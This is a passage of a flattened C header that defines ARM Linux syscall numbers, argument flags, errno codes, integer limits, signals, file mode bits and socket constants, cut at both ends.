__NR_mq_getsetattr (0+279) #define __NR_waitid (0+280) #define __NR_socket (0+281) #define __NR_bind (0+282) #define __NR_connect (0+283) #define __NR_listen (0+284) #define __NR_accept (0+285) #define __NR_getsockname (0+286) #define __NR_getpeername (0+287) #define __NR_socketpair (0+288) #define __NR_send (0+289) #define __NR_sendto (0+290) #define __NR_recv (0+291) #define __NR_recvfrom (0+292) #define __NR_shutdown (0+293) #define __NR_setsockopt (0+294) #define __NR_getsockopt (0+295) #define __NR_sendmsg (0+296) #define __NR_recvmsg (0+297) #define __NR_semop (0+298) #define __NR_semget (0+299) #define __NR_semctl (0+300) #define __NR_msgsnd (0+301) #define __NR_msgrcv (0+302) #define __NR_msgget (0+303) #define __NR_msgctl (0+304) #define __NR_shmat (0+305) #define __NR_shmdt (0+306) #define __NR_shmget (0+307) #define __NR_shmctl (0+308) #define __NR_add_key (0+309) #define __NR_request_key (0+310) #define __NR_keyctl (0+311) #define __NR_semtimedop (0+312) #define __NR_vserver (0+313) #define __NR_ioprio_set (0+314) #define __NR_ioprio_get (0+315) #define __NR_inotify_init (0+316) #define __NR_inotify_add_watch (0+317) #define __NR_inotify_rm_watch (0+318) #define __NR_mbind (0+319) #define __NR_get_mempolicy (0+320) #define __NR_set_mempolicy (0+321) #define __NR_openat (0+322) #define __NR_mkdirat (0+323) #define __NR_mknodat (0+324) #define __NR_fchownat (0+325) #define __NR_futimesat (0+326) #define __NR_fstatat64 (0+327) #define __NR_unlinkat (0+328) #define __NR_renameat (0+329) #define __NR_linkat (0+330) #define __NR_symlinkat (0+331) #define __NR_readlinkat (0+332) #define __NR_fchmodat (0+333) #define __NR_faccessat (0+334) #define __NR_unshare (0+337) #define __NR_set_robust_list (0+338) #define __NR_get_robust_list (0+339) #define __NR_splice (0+340) #define __NR_arm_sync_file_range (0+341) #define __NR_tee (0+342) #define __NR_vmsplice (0+343) #define __NR_move_pages (0+344) #define __NR_getcpu (0+345) #define __NR_kexec_load (0+347) #define __NR_utimensat (0+348) #define __NR_signalfd (0+349) #define __NR_timerfd (0+350) #define __NR_eventfd (0+351) #define __NR_fallocate (0+352) #define __NR_timerfd_settime (0+353) #define __NR_timerfd_gettime (0+354) #define __NR_signalfd4 (0+355) #define __NR_eventfd2 (0+356) #define __NR_epoll_create1 (0+357) #define __NR_dup3 (0+358) #define __NR_pipe2 (0+359) #define __NR_inotify_init1 (0+360) #define __NR_preadv (0+361) #define __NR_pwritev (0+362) #define __NR_rt_tgsigqueueinfo (0+363) #define __NR_perf_event_open (0+364) #define __NR_recvmmsg (0+365) #define __NR_accept4 (0+366) #define __NR_fanotify_init (0+367) #define __NR_fanotify_mark (0+368) #define __NR_prlimit64 (0+369) #define __NR_name_to_handle_at (0+370) #define __NR_open_by_handle_at (0+371) #define __NR_clock_adjtime (0+372) #define __NR_syncfs (0+373) #define __NR_sendmmsg (0+374) #define __NR_setns (0+375) #define __NR_process_vm_readv (0+376) #define __NR_process_vm_writev (0+377) #define __NR_kcmp (0+378) #define __NR_finit_module (0+379) #define __NR_sched_setattr (0+380) #define __NR_sched_getattr (0+381) #define __NR_renameat2 (0+382) #define __NR_seccomp (0+383) #define __NR_getrandom (0+384) #define __NR_memfd_create (0+385) #define __NR_bpf (0+386) #define __NR_execveat (0+387) #define __NR_userfaultfd (0+388) #define __NR_membarrier (0+389) #define __NR_mlock2 (0+390) #define __NR_copy_file_range (0+391) #define __NR_preadv2 (0+392) #define __NR_pwritev2 (0+393) #define __NR_pkey_mprotect (0 + 394) #define __NR_pkey_alloc (0 + 395) #define __NR_pkey_free (0 + 396) #define __NR_statx (0 + 397) #define __NR_rseq (0 + 398) #define __NR_io_pgetevents (0 + 399) #define __NR_migrate_pages (0 + 400) #define __NR_kexec_file_load (0 + 401) #define __NR_clock_gettime64 (0 + 403) #define __NR_clock_settime64 (0 + 404) #define __NR_clock_adjtime64 (0 + 405) #define __NR_clock_getres_time64 (0 + 406) #define __NR_clock_nanosleep_time64 (0 + 407) #define __NR_timer_gettime64 (0 + 408) #define __NR_timer_settime64 (0 + 409) #define __NR_timerfd_gettime64 (0 + 410) #define __NR_timerfd_settime64 (0 + 411) #define __NR_utimensat_time64 (0 + 412) #define __NR_pselect6_time64 (0 + 413) #define __NR_ppoll_time64 (0 + 414) #define __NR_io_pgetevents_time64 (0 + 416) #define __NR_recvmmsg_time64 (0 + 417) #define __NR_mq_timedsend_time64 (0 + 418) #define __NR_mq_timedreceive_time64 (0 + 419) #define __NR_semtimedop_time64 (0 + 420) #define __NR_rt_sigtimedwait_time64 (0 + 421) #define __NR_futex_time64 (0 + 422) #define __NR_sched_rr_get_interval_time64 (0 + 423) #define __NR_pidfd_send_signal (0 + 424) #define __NR_io_uring_setup (0 + 425) #define __NR_io_uring_enter (0 + 426) #define __NR_io_uring_register (0 + 427) #define __NR_open_tree (0 + 428) #define __NR_move_mount (0 + 429) #define __NR_fsopen (0 + 430) #define __NR_fsconfig (0 + 431) #define __NR_fsmount (0 + 432) #define __NR_fspick (0 + 433) #define __NR_pidfd_open (0 + 434) #define __NR_clone3 (0 + 435) #define __NR_openat2 (0 + 437) #define __NR_pidfd_getfd (0 + 438) #define __ARM_NR_BASE (0+0x0f0000) #define __ARM_NR_breakpoint ((0+0x0f0000)+1) #define __ARM_NR_cacheflush ((0+0x0f0000)+2) #define __ARM_NR_usr26 ((0+0x0f0000)+3) #define __ARM_NR_usr32 ((0+0x0f0000)+4) #define __ARM_NR_set_tls ((0+0x0f0000)+5) #define __ARGS_exit 0 #define __ARGS_fork 0 #define __ARGS_read 0 #define __ARGS_write 0 #define __ARGS_open 0 #define __ARGS_close 0 #define __ARGS_waitpid 0 #define __ARGS_creat 0 #define __ARGS_link 0 #define __ARGS_unlink 0 #define __ARGS_execve 0 #define __ARGS_chdir 0 #define __ARGS_time 0 #define __ARGS_mknod 0 #define __ARGS_chmod 0 #define __ARGS_lchown 0 #define __ARGS_break 0 #define __ARGS_lseek 0 #define __ARGS_getpid 0 #define __ARGS_mount 1 #define __ARGS_umount 0 #define __ARGS_setuid 0 #define __ARGS_getuid 0 #define __ARGS_stime 0 #define __ARGS_ptrace 0 #define __ARGS_alarm 0 #define __ARGS_pause 0 #define __ARGS_utime 0 #define __ARGS_stty 0 #define __ARGS_gtty 0 #define __ARGS_access 0 #define __ARGS_nice 0 #define __ARGS_ftime 0 #define __ARGS_sync 0 #define __ARGS_kill 0 #define __ARGS_rename 0 #define __ARGS_mkdir 0 #define __ARGS_rmdir 0 #define __ARGS_dup 0 #define __ARGS_pipe 0 #define __ARGS_times 0 #define __ARGS_prof 0 #define __ARGS_brk 0 #define __ARGS_setgid 0 #define __ARGS_getgid 0 #define __ARGS_signal 0 #define __ARGS_geteuid 0 #define __ARGS_getegid 0 #define __ARGS_acct 0 #define __ARGS_umount2 0 #define __ARGS_lock 0 #define __ARGS_ioctl 0 #define __ARGS_fcntl 0 #define __ARGS_mpx 0 #define __ARGS_setpgid 0 #define __ARGS_ulimit 0 #define __ARGS_umask 0 #define __ARGS_chroot 0 #define __ARGS_ustat 0 #define __ARGS_dup2 0 #define __ARGS_getppid 0 #define __ARGS_getpgrp 0 #define __ARGS_setsid 0 #define __ARGS_sigaction 0 #define __ARGS_sgetmask 0 #define __ARGS_ssetmask 0 #define __ARGS_setreuid 0 #define __ARGS_setregid 0 #define __ARGS_sigsuspend 0 #define __ARGS_sigpending 0 #define __ARGS_sethostname 0 #define __ARGS_setrlimit 0 #define __ARGS_getrlimit 0 #define __ARGS_getrusage 0 #define __ARGS_gettimeofday 0 #define __ARGS_settimeofday 0 #define __ARGS_getgroups 0 #define __ARGS_setgroups 0 #define __ARGS_select 0 #define __ARGS_symlink 0 #define __ARGS_readlink 0 #define __ARGS_uselib 0 #define __ARGS_swapon 0 #define __ARGS_reboot 0 #define __ARGS_readdir 0 #define __ARGS_mmap 0 #define __ARGS_munmap 0 #define __ARGS_truncate 0 #define __ARGS_ftruncate 0 #define __ARGS_fchmod 0 #define __ARGS_fchown 0 #define __ARGS_getpriority 0 #define __ARGS_setpriority 0 #define __ARGS_profil 0 #define __ARGS_statfs 0 #define __ARGS_fstatfs 0 #define __ARGS_ioperm 0 #define __ARGS_socketcall 0 #define __ARGS_syslog 0 #define __ARGS_setitimer 0 #define __ARGS_getitimer 0 #define __ARGS_stat 0 #define __ARGS_lstat 0 #define __ARGS_fstat 0 #define __ARGS_vhangup 0 #define __ARGS_idle 0 #define __ARGS_syscall 0 #define __ARGS_wait4 0 #define __ARGS_swapoff 0 #define __ARGS_sysinfo 0 #define __ARGS_ipc 1 #define __ARGS_fsync 0 #define __ARGS_sigreturn 0 #define __ARGS_clone 0 #define __ARGS_setdomainname 0 #define __ARGS_uname 0 #define __ARGS_modify_ldt 0 #define __ARGS_adjtimex 0 #define __ARGS_mprotect 0 #define __ARGS_sigprocmask 0 #define __ARGS_create_module 0 #define __ARGS_init_module 0 #define __ARGS_delete_module 0 #define __ARGS_get_kernel_syms 0 #define __ARGS_quotactl 0 #define __ARGS_getpgid 0 #define __ARGS_fchdir 0 #define __ARGS_bdflush 0 #define __ARGS_sysfs 0 #define __ARGS_personality 0 #define __ARGS_afs_syscall 0 #define __ARGS_setfsuid 0 #define __ARGS_setfsgid 0 #define __ARGS__llseek 1 #define __ARGS_getdents 0 #define __ARGS__newselect 1 #define __ARGS_flock 0 #define __ARGS_msync 0 #define __ARGS_readv 0 #define __ARGS_writev 0 #define __ARGS_getsid 0 #define __ARGS_fdatasync 0 #define __ARGS__sysctl 0 #define __ARGS_mlock 0 #define __ARGS_munlock 0 #define __ARGS_mlockall 0 #define __ARGS_munlockall 0 #define __ARGS_sched_setparam 0 #define __ARGS_sched_getparam 0 #define __ARGS_sched_setscheduler 0 #define __ARGS_sched_getscheduler 0 #define __ARGS_sched_yield 0 #define __ARGS_sched_get_priority_max 0 #define __ARGS_sched_get_priority_min 0 #define __ARGS_sched_rr_get_interval 0 #define __ARGS_nanosleep 0 #define __ARGS_mremap 0 #define __ARGS_setresuid 0 #define __ARGS_getresuid 0 #define __ARGS_vm86 0 #define __ARGS_query_module 1 #define __ARGS_poll 0 #define __ARGS_nfsservctl 0 #define __ARGS_setresgid 0 #define __ARGS_getresgid 0 #define __ARGS_prctl 1 #define __ARGS_rt_sigreturn 0 #define __ARGS_rt_sigaction 0 #define __ARGS_rt_sigprocmask 0 #define __ARGS_rt_sigpending 0 #define __ARGS_rt_sigtimedwait 0 #define __ARGS_rt_sigqueueinfo 0 #define __ARGS_rt_sigsuspend 0 #define __ARGS_pread 0 #define __ARGS_pwrite 0 #define __ARGS_pread64 0 #define __ARGS_pwrite64 0 #define __ARGS_chown 0 #define __ARGS_getcwd 0 #define __ARGS_capget 0 #define __ARGS_capset 0 #define __ARGS_sigaltstack 0 #define __ARGS_sendfile 0 #define __ARGS_vfork 0 #define __ARGS_ugetrlimit 0 #define __ARGS_mmap2 1 #define __ARGS_truncate64 0 #define __ARGS_ftruncate64 0 #define __ARGS_stat64 0 #define __ARGS_lstat64 0 #define __ARGS_fstat64 0 #define __ARGS_lchown32 0 #define __ARGS_getuid32 0 #define __ARGS_getgid32 0 #define __ARGS_geteuid32 0 #define __ARGS_getegid32 0 #define __ARGS_setreuid32 0 #define __ARGS_setregid32 0 #define __ARGS_getgroups32 0 #define __ARGS_setgroups32 0 #define __ARGS_fchown32 0 #define __ARGS_setresuid32 0 #define __ARGS_getresuid32 0 #define __ARGS_setresgid32 0 #define __ARGS_getresgid32 0 #define __ARGS_chown32 0 #define __ARGS_setuid32 0 #define __ARGS_setgid32 0 #define __ARGS_setfsuid32 0 #define __ARGS_setfsgid32 0 #define __ARGS_getdents64 0 #define __ARGS_pivot_root 0 #define __ARGS_mincore 0 #define __ARGS_madvise 0 #define __ARGS_fcntl64 0 #define __ARGS_security 0 #define __ARGS_gettid 0 #define __ARGS_readahead 0 #define __ARGS_setxattr 1 #define __ARGS_lsetxattr 1 #define __ARGS_fsetxattr 1 #define __ARGS_getxattr 0 #define __ARGS_lgetxattr 0 #define __ARGS_fgetxattr 0 #define __ARGS_listxattr 0 #define __ARGS_llistxattr 0 #define __ARGS_flistxattr 0 #define __ARGS_removexattr 0 #define __ARGS_lremovexattr 0 #define __ARGS_fremovexattr 0 #define __ARGS_tkill 0 #define __ARGS_sendfile64 0 #define __ARGS_futex 0 #define __ARGS_sched_setaffinity 0 #define __ARGS_sched_getaffinity 0 #define __ARGS_io_setup 0 #define __ARGS_io_destroy 0 #define __ARGS_io_getevents 0 #define __ARGS_io_submit 0 #define __ARGS_io_cancel 0 #define __ARGS_exit_group 0 #define __ARGS_lookup_dcookie 0 #define __ARGS_epoll_create 0 #define __ARGS_epoll_ctl 0 #define __ARGS_epoll_wait 0 #define __ARGS_remap_file_pages 0 #define __ARGS_set_thread_area 0 #define __ARGS_get_thread_area 0 #define __ARGS_set_tid_address 0 #define __ARGS_timer_create 0 #define __ARGS_timer_settime 0 #define __ARGS_timer_gettime 0 #define __ARGS_timer_getoverrun 0 #define __ARGS_timer_delete 0 #define __ARGS_clock_settime 0 #define __ARGS_clock_gettime 0 #define __ARGS_clock_getres 0 #define __ARGS_clock_nanosleep 0 #define __ARGS_statfs64 0 #define __ARGS_fstatfs64 0 #define __ARGS_tgkill 0 #define __ARGS_utimes 0 #define __ARGS_arm_fadvise64_64 1 #define __ARGS_fadvise64 0 #define __ARGS_fadvise64_64 0 #define __ARGS_pciconfig_iobase 0 #define __ARGS_pciconfig_read 1 #define __ARGS_pciconfig_write 1 #define __ARGS_mq_open 0 #define __ARGS_mq_unlink 0 #define __ARGS_mq_timedsend 0 #define __ARGS_mq_timedreceive 1 #define __ARGS_mq_notify 0 #define __ARGS_mq_getsetattr 0 #define __ARGS_waitid 0 #define __ARGS_socket 0 #define __ARGS_bind 0 #define __ARGS_connect 0 #define __ARGS_listen 0 #define __ARGS_accept 0 #define __ARGS_getsockname 0 #define __ARGS_getpeername 0 #define __ARGS_socketpair 0 #define __ARGS_send 0 #define __ARGS_sendto 1 #define __ARGS_recv 0 #define __ARGS_recvfrom 1 #define __ARGS_shutdown 0 #define __ARGS_setsockopt 0 #define __ARGS_getsockopt 0 #define __ARGS_sendmsg 0 #define __ARGS_recvmsg 0 #define __ARGS_semop 0 #define __ARGS_semget 0 #define __ARGS_semctl 0 #define __ARGS_msgsnd 0 #define __ARGS_msgrcv 0 #define __ARGS_msgget 0 #define __ARGS_msgctl 0 #define __ARGS_shmat 0 #define __ARGS_shmdt 0 #define __ARGS_shmget 0 #define __ARGS_shmctl 0 #define __ARGS_add_key 1 #define __ARGS_request_key 1 #define __ARGS_keyctl 0 #define __ARGS_vserver 0 #define __ARGS_ioprio_set 0 #define __ARGS_ioprio_get 0 #define __ARGS_inotify_init 0 #define __ARGS_inotify_add_watch 0 #define __ARGS_inotify_rm_watch 0 #define __ARGS_mbind 1 #define __ARGS_get_mempolicy 1 #define __ARGS_set_mempolicy 1 #define __ARGS_openat 0 #define __ARGS_mkdirat 0 #define __ARGS_mknodat 0 #define __ARGS_fchownat 1 #define __ARGS_futimesat 0 #define __ARGS_fstatat64 0 #define __ARGS_unlinkat 0 #define __ARGS_renameat 0 #define __ARGS_linkat 1 #define __ARGS_symlinkat 0 #define __ARGS_readlinkat 0 #define __ARGS_fchmodat 0 #define __ARGS_faccessat 0 #define __ARGS_unshare 0 #define __ARGS_set_robust_list 0 #define __ARGS_get_robust_list 0 #define __ARGS_splice 1 #define __ARGS_arm_sync_file_range 0 #define __ARGS_sync_file_range2 0 #define __ARGS_tee 0 #define __ARGS_vmsplice 0 #define __ARGS_move_pages 1 #define __ARGS_getcpu 0 #define __ARGS_kexec_load 0 #define __ARGS_utimensat 0 #define __ARGS_signalfd 0 #define __ARGS_timerfd 0 #define __ARGS_eventfd 0 #define __ARGS_fallocate 0 #define __ARGS_timerfd_settime 0 #define __ARGS_timerfd_gettime 0 #define __ARGS_signalfd4 0 #define __ARGS_eventfd2 0 #define __ARGS_epoll_create1 0 #define __ARGS_dup3 0 #define __ARGS_pipe2 0 #define __ARGS_inotify_init1 0 #define __ARGS_preadv 0 #define __ARGS_pwritev 0 #define __ARGS_rt_tgsigqueueinfo 0 #define __ARGS_perf_event_open 1 #define __ARGS_recvmmsg 1 #define __ARGS_accept4 0 #define __ARGS_fanotify_init 0 #define __ARGS_fanotify_mark 1 #define __ARGS_prlimit64 0 #define __ARGS_name_to_handle_at 1 #define __ARGS_open_by_handle_at 0 #define __ARGS_clock_adjtime 0 #define __ARGS_syncfs 0 #define __ARGS_sendmmsg 0 #define __ARGS_setns 0 #define __ARGS_process_vm_readv 1 #define __ARGS_process_vm_writev 1 #define __ARGS_kcmp 1 #define __ARGS_finit_module 0 #define MAP_32BIT 0x40 #define INADDR_ANY 0 #define INADDR_BROADCAST 0xffffffff #define INADDR_NONE 0xffffffff #define INADDR_LOOPBACK 0x7f000001 #define EPERM 1 #define ENOENT 2 #define ESRCH 3 #define EINTR 4 #define EIO 5 #define ENXIO 6 #define E2BIG 7 #define ENOEXEC 8 #define EBADF 9 #define ECHILD 10 #define EAGAIN 11 #define ENOMEM 12 #define EACCES 13 #define EFAULT 14 #define ENOTBLK 15 #define EBUSY 16 #define EEXIST 17 #define EXDEV 18 #define ENODEV 19 #define ENOTDIR 20 #define EISDIR 21 #define EINVAL 22 #define ENFILE 23 #define EMFILE 24 #define ENOTTY 25 #define ETXTBSY 26 #define EFBIG 27 #define ENOSPC 28 #define ESPIPE 29 #define EROFS 30 #define EMLINK 31 #define EPIPE 32 #define EDOM 33 #define ERANGE 34 #define EDEADLK 35 #define ENAMETOOLONG 36 #define ENOLCK 37 #define ENOSYS 38 #define ENOTEMPTY 39 #define ELOOP 40 #define EWOULDBLOCK 11 #define ENOMSG 42 #define EIDRM 43 #define ECHRNG 44 #define EL2NSYNC 45 #define EL3HLT 46 #define EL3RST 47 #define ELNRNG 48 #define EUNATCH 49 #define ENOCSI 50 #define EL2HLT 51 #define EBADE 52 #define EBADR 53 #define EXFULL 54 #define ENOANO 55 #define EBADRQC 56 #define EBADSLT 57 #define EDEADLOCK 35 #define EBFONT 59 #define ENOSTR 60 #define ENODATA 61 #define ETIME 62 #define ENOSR 63 #define ENONET 64 #define ENOPKG 65 #define EREMOTE 66 #define ENOLINK 67 #define EADV 68 #define ESRMNT 69 #define ECOMM 70 #define EPROTO 71 #define EMULTIHOP 72 #define EDOTDOT 73 #define EBADMSG 74 #define EOVERFLOW 75 #define ENOTUNIQ 76 #define EBADFD 77 #define EREMCHG 78 #define ELIBACC 79 #define ELIBBAD 80 #define ELIBSCN 81 #define ELIBMAX 82 #define ELIBEXEC 83 #define EILSEQ 84 #define ERESTART 85 #define ESTRPIPE 86 #define EUSERS 87 #define ENOTSOCK 88 #define EDESTADDRREQ 89 #define EMSGSIZE 90 #define EPROTOTYPE 91 #define ENOPROTOOPT 92 #define EPROTONOSUPPORT 93 #define ESOCKTNOSUPPORT 94 #define EOPNOTSUPP 95 #define ENOTSUP 95 #define EPFNOSUPPORT 96 #define EAFNOSUPPORT 97 #define EADDRINUSE 98 #define EADDRNOTAVAIL 99 #define ENETDOWN 100 #define ENETUNREACH 101 #define ENETRESET 102 #define ECONNABORTED 103 #define ECONNRESET 104 #define ENOBUFS 105 #define EISCONN 106 #define ENOTCONN 107 #define ESHUTDOWN 108 #define ETOOMANYREFS 109 #define ETIMEDOUT 110 #define ECONNREFUSED 111 #define EHOSTDOWN 112 #define EHOSTUNREACH 113 #define EALREADY 114 #define EINPROGRESS 115 #define ESTALE 116 #define EUCLEAN 117 #define ENOTNAM 118 #define ENAVAIL 119 #define EISNAM 120 #define EREMOTEIO 121 #define EDQUOT 122 #define ENOMEDIUM 123 #define EMEDIUMTYPE 124 #define ECANCELED 125 #define ENOKEY 126 #define EKEYEXPIRED 127 #define EKEYREVOKED 128 #define EKEYREJECTED 129 #define EOWNERDEAD 130 #define ENOTRECOVERABLE 131 #define ERFKILL 132 #define EHWPOISON 133 #define __SYS_NERR ((133) + 1) #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __BYTE_ORDER 1234 #define __FLOAT_WORD_ORDER 1234 #define LITTLE_ENDIAN 1234 #define BIG_ENDIAN 4321 #define BYTE_ORDER 1234 #define __WORDSIZE 32 #define INT8_MAX (127) #define INT16_MAX (32767) #define INT32_MAX (2147483647) #define INT64_MAX (9223372036854775807) #define INT8_MIN (-1 - (127)) #define INT16_MIN (-1 - (32767)) #define INT32_MIN (-1 - (2147483647)) #define INT64_MIN (-1 - (9223372036854775807)) #define INT_LEAST8_MAX (127) #define INT_LEAST8_MIN (-1 - (127)) #define INT_LEAST16_MAX (32767) #define INT_LEAST16_MIN (-1 - (32767)) #define INT_LEAST32_MAX (2147483647) #define INT_LEAST32_MIN (-1 - (2147483647)) #define INT_LEAST64_MAX (9223372036854775807) #define INT_LEAST64_MIN (-1 - (9223372036854775807)) #define UINT8_MAX 0xff #define UINT16_MAX 0xffff #define UINT32_MAX 0xffffffff #define UINT64_MAX 0xffffffffffffffff #define UINT_LEAST8_MAX 0xff #define UINT_LEAST16_MAX 0xffff #define UINT_LEAST32_MAX 0xffffffff #define UINT_LEAST64_MAX 0xffffffffffffffff #define INTPTR_MIN (-1 - (2147483647)) #define INTPTR_MAX (2147483647) #define UINTPTR_MAX 0xffffffff #define SIZE_MAX 0xffffffff #define PTRDIFF_MIN (-1 - (2147483647)) #define PTRDIFF_MAX (2147483647) #define INTMAX_MIN (-1 - (9223372036854775807)) #define INTMAX_MAX (9223372036854775807) #define UINTMAX_MAX 0xffffffffffffffff #define INT_FAST8_MIN (-1 - (127)) #define INT_FAST8_MAX (127) #define INT_FAST64_MIN (-1 - (9223372036854775807)) #define INT_FAST64_MAX (9223372036854775807) #define UINT_FAST8_MAX 0xff #define UINT_FAST64_MAX 0xffffffffffffffff #define INT_FAST16_MIN (-1 - (2147483647)) #define INT_FAST16_MAX (2147483647) #define UINT_FAST16_MAX 0xffffffff #define INT_FAST32_MIN (-1 - (2147483647)) #define INT_FAST32_MAX (2147483647) #define UINT_FAST32_MAX 0xffffffff #define WINT_MIN 0 #define __FSUID_H 1 #define NSIG 32 #define _NSIG 65 #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGFPE 8 #define SIGKILL 9 #define SIGSEGV 11 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGUNUSED 31 #define SIGBUS 7 #define SIGUSR1 10 #define SIGUSR2 12 #define SIGSTKFLT 16 #define SIGCHLD 17 #define SIGCONT 18 #define SIGSTOP 19 #define SIGTSTP 20 #define SIGTTIN 21 #define SIGTTOU 22 #define SIGURG 23 #define SIGXCPU 24 #define SIGXFSZ 25 #define SIGVTALRM 26 #define SIGPROF 27 #define SIGWINCH 28 #define SIGIO 29 #define SIGPWR 30 #define SIGSYS 31 #define SIGCLD 17 #define SIGPOLL 29 #define SIGLOST 30 #define SIGRTMIN 32 #define SIGRTMAX (65-1) #define SA_NOCLDSTOP 0x00000001 #define SA_NOCLDWAIT 0x00000002 #define SA_SIGINFO 0x00000004 #define SA_THIRTYTWO 0x02000000 #define SA_RESTORER 0x04000000 #define SA_ONSTACK 0x08000000 #define SA_RESTART 0x10000000 #define SA_INTERRUPT 0x20000000 #define SA_NODEFER 0x40000000 #define SA_RESETHAND 0x80000000 #define SA_NOMASK 0x40000000 #define SA_ONESHOT 0x80000000 #define SS_ONSTACK 1 #define SS_DISABLE 2 #define MINSIGSTKSZ 2048 #define SIGSTKSZ 8192 #define SIG_BLOCK 0 #define SIG_UNBLOCK 1 #define SIG_SETMASK 2 #define SI_MAX_SIZE 128 #define SIGEV_SIGNAL 0 #define SIGEV_NONE 1 #define SIGEV_THREAD 2 #define SIGEV_THREAD_ID 4 #define SIGEV_MAX_SIZE 64 #define _SYS_TIME_H 1 #define ITIMER_REAL 0 #define ITIMER_VIRTUAL 1 #define ITIMER_PROF 2 #define FD_SETSIZE 1024 #define R_OK 4 #define W_OK 2 #define X_OK 1 #define F_OK 0 #define SEEK_SET 0 #define SEEK_CUR 1 #define SEEK_END 2 #define STDIN_FILENO 0 #define STDOUT_FILENO 1 #define STDERR_FILENO 2 #define _CS_PATH 1 #define _SC_CLK_TCK 1 #define _SC_ARG_MAX 2 #define _SC_NGROUPS_MAX 3 #define _SC_OPEN_MAX 4 #define _SC_PAGESIZE 5 #define _SC_NPROCESSORS_ONLN 6 #define _SC_NPROCESSORS_CONF 6 #define _SC_PHYS_PAGES 7 #define _SC_GETPW_R_SIZE_MAX 8 #define _SC_GETGR_R_SIZE_MAX 9 #define _PC_PATH_MAX 1 #define _PC_VDISABLE 2 #define L_cuserid 17 #define _POSIX_VERSION 199506 #define F_ULOCK 0 #define F_LOCK 1 #define F_TLOCK 2 #define F_TEST 3 #define _POSIX_MAPPED_FILES 200809 #define STAT64_HAS_BROKEN_ST_INO 1 #define S_IFMT 0xf000 #define S_IFSOCK 0xc000 #define S_IFLNK 0xa000 #define S_IFREG 0x8000 #define S_IFBLK 0x6000 #define S_IFDIR 0x4000 #define S_IFCHR 0x2000 #define S_IFIFO 0x1000 #define S_ISUID 0x800 #define S_ISGID 0x400 #define S_ISVTX 0x200 #define S_IRWXU 0x1c0 #define S_IRUSR 0x100 #define S_IWUSR 0x80 #define S_IXUSR 0x40 #define S_IRWXG 0x38 #define S_IRGRP 0x20 #define S_IWGRP 0x10 #define S_IXGRP 0x8 #define S_IRWXO 0x7 #define S_IROTH 0x4 #define S_IWOTH 0x2 #define S_IXOTH 0x1 #define S_IREAD 0x100 #define S_IWRITE 0x80 #define S_IEXEC 0x40 #define _SYS_UIO 1 #define SOL_SOCKET 1 #define SO_DEBUG 1 #define SO_REUSEADDR 2 #define SO_TYPE 3 #define SO_ERROR 4 #define SO_DONTROUTE 5 #define SO_BROADCAST 6 #define SO_SNDBUF 7 #define SO_RCVBUF 8 #define SO_KEEPALIVE 9 #define SO_OOBINLINE 10 #define SO_NO_CHECK 11 #define SO_PRIORITY 12 #define SO_LINGER 13 #define SO_BSDCOMPAT 14 #define SO_REUSEPORT 15 #define SO_PASSCRED 16 #define SO_PEERCRED 17 #define SO_RCVLOWAT 18 #define SO_SNDLOWAT 19 #define SO_RCVTIMEO 20 #define SO_SNDTIMEO 21 #define SO_SECURITY_AUTHENTICATION 22 #define SO_SECURITY_ENCRYPTION_TRANSPORT 23 #define SO_SECURITY_ENCRYPTION_NETWORK 24 #define SO_BINDTODEVICE 25 #define SO_ATTACH_FILTER 26 #define SO_DETACH_FILTER 27 #define SO_GET_FILTER 26 #define SO_PEERNAME 28 #define SO_TIMESTAMP 29 #define SCM_TIMESTAMP 29 #define SO_ACCEPTCONN 30 #define SO_PEERSEC 31 #define SO_SNDBUFFORCE 32 #define SO_RCVBUFFORCE 33 #define SO_PASSSEC 34 #define SO_TIMESTAMPNS 35 #define SCM_TIMESTAMPNS 35 #define SO_MARK 36 #define SO_TIMESTAMPING 37 #define SCM_TIMESTAMPING 37 #define SO_PROTOCOL 38 #define SO_DOMAIN 39 #define SO_RXQ_OVFL 40 #define SO_WIFI_STATUS 41 #define SCM_WIFI_STATUS 41 #define SO_PEEK_OFF 42 #define SO_NOFCS 43 #define SO_LOCK_FILTER 44 #define SO_SELECT_ERR_QUEUE 45 #define SO_BUSY_POLL 46 #define SO_MAX_PACING_RATE 47 #define SO_BPF_EXTENSIONS 48 #define SO_INCOMING_CPU 49 #define SO_ATTACH_BPF 50 #define SO_DETACH_BPF 27 #define SO_ATTACH_REUSEPORT_CBPF 51 #define SO_ATTACH_REUSEPORT_EBPF 52 #define SO_CNX_ADVICE 53 #define SCM_TIMESTAMPING_OPT_STATS 54 #define SO_MEMINFO 55 #define SO_INCOMING_NAPI_ID 56 #define SO_COOKIE 57 #define SCM_TIMESTAMPING_PKTINFO 58 #define SO_PEERGROUPS 59 #define SO_ZEROCOPY 60 #define SOCK_STREAM 1 #define SOCK_DGRAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define SOCK_DCCP 6 #define SOCK_PACKET 10 #define UIO_FASTIOV 8 #define UIO_MAXIOV 1024 #define SCM_RIGHTS 0x01 #define SCM_CREDENTIALS 0x02 #define SCM_CONNECT 0x03 #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_LOCAL 1 #define AF_INET 2 #define AF_AX25 3 #define AF_IPX 4 #define AF_APPLETALK 5 #define AF_NETROM 6 #define AF_BRIDGE 7 #define AF_ATMPVC 8 #define AF_X25 9 #define AF_INET6 10 #define AF_ROSE 11 #define AF_DECnet 12 #define AF_NETBEUI 13 #define AF_SECURITY 14 #define AF_KEY 15 #define AF_NETLINK 16 #define AF_ROUTE 16 #define AF_PACKET 17 #define AF_ASH 18 #define AF_ECONET 19 #define AF_ATMSVC 20 #define AF_SNA 22 #define AF_IRDA 23 #define AF_PPPOX 24 #define AF_WANPIPE 25 #define AF_LLC 26 #define AF_IB 27 #define AF_MPLS 28 #define AF_CAN 29 #define AF_TIPC 30 #define AF_BLUETOOTH 31 #define AF_IUCV 32 #define AF_RXRPC 33 #define AF_ISDN 34 #define AF_PHONET 35 #define AF_IEEE802154 36 #define AF_CAIF 37 #define AF_ALG 38 #define AF_NFC 39 #define AF_VSOCK 40 #define AF_KCM 41 #define AF_QIPCRTR 42 #define AF_SMC 43 #define AF_MAX 44 #define PF_UNSPEC 0 #define PF_UNIX 1 #define PF_LOCAL 1 #define PF_INET 2 #define PF_AX25 3 #define PF_IPX 4 #define PF_APPLETALK 5 #define PF_NETROM 6 #define PF_BRIDGE 7 #define 